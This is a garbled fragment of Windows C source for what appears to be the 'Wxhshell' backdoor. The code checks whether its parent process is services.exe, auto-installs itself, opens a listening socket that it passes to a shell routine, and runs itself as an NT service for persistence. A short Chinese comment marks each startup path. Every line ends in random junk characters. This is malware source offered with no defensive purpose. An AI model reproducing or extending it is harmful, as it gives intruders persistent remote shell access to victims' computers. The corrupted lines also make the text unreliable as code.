ULONG UniqueProcessId; 7y7y<`)I5
ULONG InheritedFromUniqueProcessId; MF(~!SOIG
} PROCESS_BASIC_INFORMATION; KYW1<Wcp
T480w6-@
PROCNTQSIP NtQueryInformationProcess; 0G 1o3[F
{ "c,P:S]
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "c*|vE
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h)`vc#"65k
Xlw=R2`)~
HANDLE hProcess; 2ow\d b
PROCESS_BASIC_INFORMATION pbi; d(Ou\7
?O?~|nI
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !m2k0|9
if(NULL == hInst ) return 0; {r8CzJ'f
_O<{H '4NO
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,oe{@z{*@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,;18:
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _F EF+I
o3kj7U:'x
if (!NtQueryInformationProcess) return 0; L]}|{<3\
?Gfe?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Uo
,3 lMr
if(!hProcess) return 0; Nb1lawC
-y(V-
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
KRe=n3 1
](D [T
CloseHandle(hProcess); '*;rm*n
Y<XDR:]A,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y;jyfc$
`
if(hProcess==NULL) return 0; 8hg(6 XUG
xWm'E2
HMODULE hMod; mUbaR
char procName[255]; jp]JFh;3
unsigned long cbNeeded; W|
p?KJk)
+h/$_5
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /'(P{O>{j
:O%O``xT
CloseHandle(hProcess); Zn//u<D
$7,dKC &
if(strstr(procName,"services")) return 1; // 以服务启动 z4goa2@Z
K\q/JuDfc
return 0; // 注册表启动 g:g>;"B
O
} 8] *{i
S}E@*t2h
// 主模块 )C@,mgh
int StartWxhshell(LPSTR lpCmdLine) t-Wn@a
{ ZU|nKt<GK
SOCKET wsl; o%.cQo=v*
BOOL val=TRUE; U#}.r<
int port=0; s"/8h#!zv
struct sockaddr_in door; ^:#%TCJ
'9)@ U+yfQ
if(wscfg.ws_autoins) Install(); h4#5j'RO
-*EJj>x
port=atoi(lpCmdLine); k#.co~kS
4$^=1ax
if(port<=0) port=wscfg.ws_port; Z%Gvf~u
/dqKFxB1
WSADATA data; "J9+~)e^!
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m8?(.BJ%
pV!(#45 ~W
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8yo9$~u;
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $
]HI YYs
door.sin_family = AF_INET;
Du/s
door.sin_addr.s_addr = inet_addr("127.0.0.1"); [D)A+
door.sin_port = htons(port); d2Y5'A0X
ICi- iX
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
DF~w20+
closesocket(wsl); NXx}KF c
return 1; /_O-m8+4m
} %lPP1
R
xR.Ql>
if(listen(wsl,2) == INVALID_SOCKET) { CeQcnJU
closesocket(wsl); 4u&doSXR
return 1; P7o6B,9
} ~(8A&!#,!
Wxhshell(wsl); ax<0grK
WSACleanup(); )mEF_ &
uzo}?X#
return 0; $lqV(s
jmIP c3O0
} 'e*C^(6
<L-L}\-I"
// 以NT服务方式启动 P(4[<'HO
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O ?4V($
{ Q,$x6YwE
DWORD status = 0; ;i]cmy
DWORD specificError = 0xfffffff; R
Q8okA
,d7@*>T&
serviceStatus.dwServiceType = SERVICE_WIN32; o+na`ed
serviceStatus.dwCurrentState = SERVICE_START_PENDING; R[V%59#{Z
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x.q%O1
serviceStatus.dwWin32ExitCode = 0; W%P&o}'
serviceStatus.dwServiceSpecificExitCode = 0; q8oEb
serviceStatus.dwCheckPoint = 0; 1@y?OWC
serviceStatus.dwWaitHint = 0; xQ[YQ!l
~EN@$N^h
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oGM.{\i
if (hServiceStatusHandle==0) return; @sDd:>t
GgtL./m
status = GetLastError(); Xy{b(b;9
if (status!=NO_ERROR) v/.2Z(sZ
{ ~t}:vGD j
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;2iZX=P`n
serviceStatus.dwCheckPoint = 0; O []+v
serviceStatus.dwWaitHint = 0; H(AYtnvB
serviceStatus.dwWin32ExitCode = status; BZj[C=#x
serviceStatus.dwServiceSpecificExitCode = specificError; H [v~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cn"N5(i
return; iTX.?*
} &5a>5ZG}
3w@)/ujn
serviceStatus.dwCurrentState = SERVICE_RUNNING; uYl ?Q
serviceStatus.dwCheckPoint = 0; My
^pQ]@
serviceStatus.dwWaitHint = 0; ^v},Sa/ot]
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z}&